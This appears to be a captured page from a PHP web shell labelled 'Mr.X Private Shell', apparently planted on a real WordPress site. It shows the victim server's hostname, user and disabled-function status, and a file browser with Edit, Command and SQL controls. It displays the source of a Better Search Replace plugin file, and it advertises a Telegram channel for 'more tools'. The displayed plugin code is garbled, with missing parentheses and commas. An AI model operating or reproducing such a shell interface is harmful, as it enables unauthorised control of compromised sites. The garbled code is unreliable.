Uname: Linux webm005.cluster107.gra.hosting.ovh.net 5.15.167-ovh-vps-grsec-zfs-classid #1 SMP Tue Sep 17 08:14:20 UTC 2024 x86_64
User: 6036 (villadal)
Group: 100 (users)
Disabled functions: NONE
Safe mode: On[ PHPinfo ]
//home/villadal/www/wp-content/plugins///better-search-replace/includes      ( Reset | Go to )
File Name: class-bsr-compatibility.php
Edit
<?php

/**
 * Processes compatibility functionality.
 * @since      1.0
 *
 * @package    Better_Search_Replace
 * @subpackage Better_Search_Replace/includes
 */

// Prevent direct access.
if ( ! defined'BSR_PATH' ) ) exit;

class 
BSR_Compatibility {

    
/**
     * Returns the system info.
     * @access public
     * @return string
     */
    
public static function get_sysinfo() {

        global 
$wpdb;

        
$return '### Begin System Info ###' "\n\n";

        
// Basic site info
        
$return .= '-- WordPress Configuration' "\n\n";
        
$return .= 'Site URL:                 ' site_url() . "\n";
        
$return .= 'Home URL:                 ' home_url() . "\n";
        
$return .= 'Multisite:                ' . ( is_multisite() ? 'Yes' 'No' ) . "\n";
        
$return .= 'Version:                  ' get_bloginfo'version' ) . "\n";
        
$return .= 'Language:                 ' get_locale() . "\n";
        
$return .= 'Table Prefix:             ' 'Length: ' strlen$wpdb->prefix ) . "\n";
        
$return .= 'WP_DEBUG:                 ' . ( defined'WP_DEBUG' ) ? WP_DEBUG 'Enabled' 'Disabled' 'Not set' ) . "\n";
        
$return .= 'Memory Limit:             ' WP_MEMORY_LIMIT "\n";

        
// Plugin Configuration
        
$return .= "\n" '-- Better Search Replace Configuration' "\n\n";
        
$return .= 'Plugin Version:           ' BSR_VERSION "\n";
        
$db      = new BSR_DB();
        
$return .= 'Max Page Size:            ' $db->get_page_size() . "\n";

        
// Server Configuration
        
$return .= "\n" '-- Server Configuration' "\n\n";
        
$os self::get_os();
        
$return .= 'Operating System:         ' $os['name'] . "\n";
        
$return .= 'PHP Version:              ' PHP_VERSION "\n";
        
$return .= 'MySQL Version:            ' $wpdb->db_version() . "\n";

        
$return .= 'Server Software:          ' $_SERVER['SERVER_SOFTWARE'] . "\n";

        
// PHP configs... now we're getting to the important stuff
        
$return .= "\n" '-- PHP Configuration' "\n\n";
        
$return .= 'Memory Limit:             ' ini_get'memory_limit' ) . "\n";
        
$return .= 'Post Max Size:            ' ini_get'post_max_size' ) . "\n";
        
$return .= 'Upload Max Filesize:      ' ini_get'upload_max_filesize' ) . "\n";
        
$return .= 'Time Limit:               ' ini_get'max_execution_time' ) . "\n";
        
$return .= 'Max Input Vars:           ' ini_get'max_input_vars' ) . "\n";
        
$return .= 'Display Errors:           ' . ( ini_get'display_errors' ) ? 'On (' ini_get'display_errors' ) . ')' 'N/A' ) . "\n";

        
// WordPress active plugins
        
$return .= "\n" '-- WordPress Active Plugins' "\n\n";
        
$plugins get_plugins();
        
$active_plugins get_option'active_plugins', array() );
        foreach( 
$plugins as $plugin_path => $plugin ) {
            if( !
in_array$plugin_path$active_plugins ) )
                continue;
            
$return .= $plugin['Name'] . ': ' $plugin['Version'] . "\n";
        }

        
// WordPress inactive plugins
        
$return .= "\n" '-- WordPress Inactive Plugins' "\n\n";
        foreach( 
$plugins as $plugin_path => $plugin ) {
            if( 
in_array$plugin_path$active_plugins ) )
                continue;
            
$return .= $plugin['Name'] . ': ' $plugin['Version'] . "\n";
        }

        if( 
is_multisite() ) {
            
// WordPress Multisite active plugins
            
$return .= "\n" '-- Network Active Plugins' "\n\n";
            
$plugins wp_get_active_network_plugins();
            
$active_plugins get_site_option'active_sitewide_plugins', array() );
            foreach( 
$plugins as $plugin_path ) {
                
$plugin_base plugin_basename$plugin_path );
                if( !
array_key_exists$plugin_base$active_plugins ) )
                    continue;
                
$plugin  get_plugin_data$plugin_path );
                
$return .= $plugin['Name'] . ': ' $plugin['Version'] . "\n";
            }
        }

        
$return .= "\n" '### End System Info ###';
        return 
$return;
    }

    
/**
     * Determines the current operating system.
     * @access public
     * @return array
     */
    
public static function get_os() {
        
$os         = array();
        
$uname         php_uname's' );
        
$os['code'] = strtouppersubstr$uname0) );
        
$os['name'] = $uname;
        return 
$os;
    }

}

All system for education purposes only. For more tools: Telegram @jackleet

Mr.X Private Shell

Logo
-
New File | New Folder
Command
SQL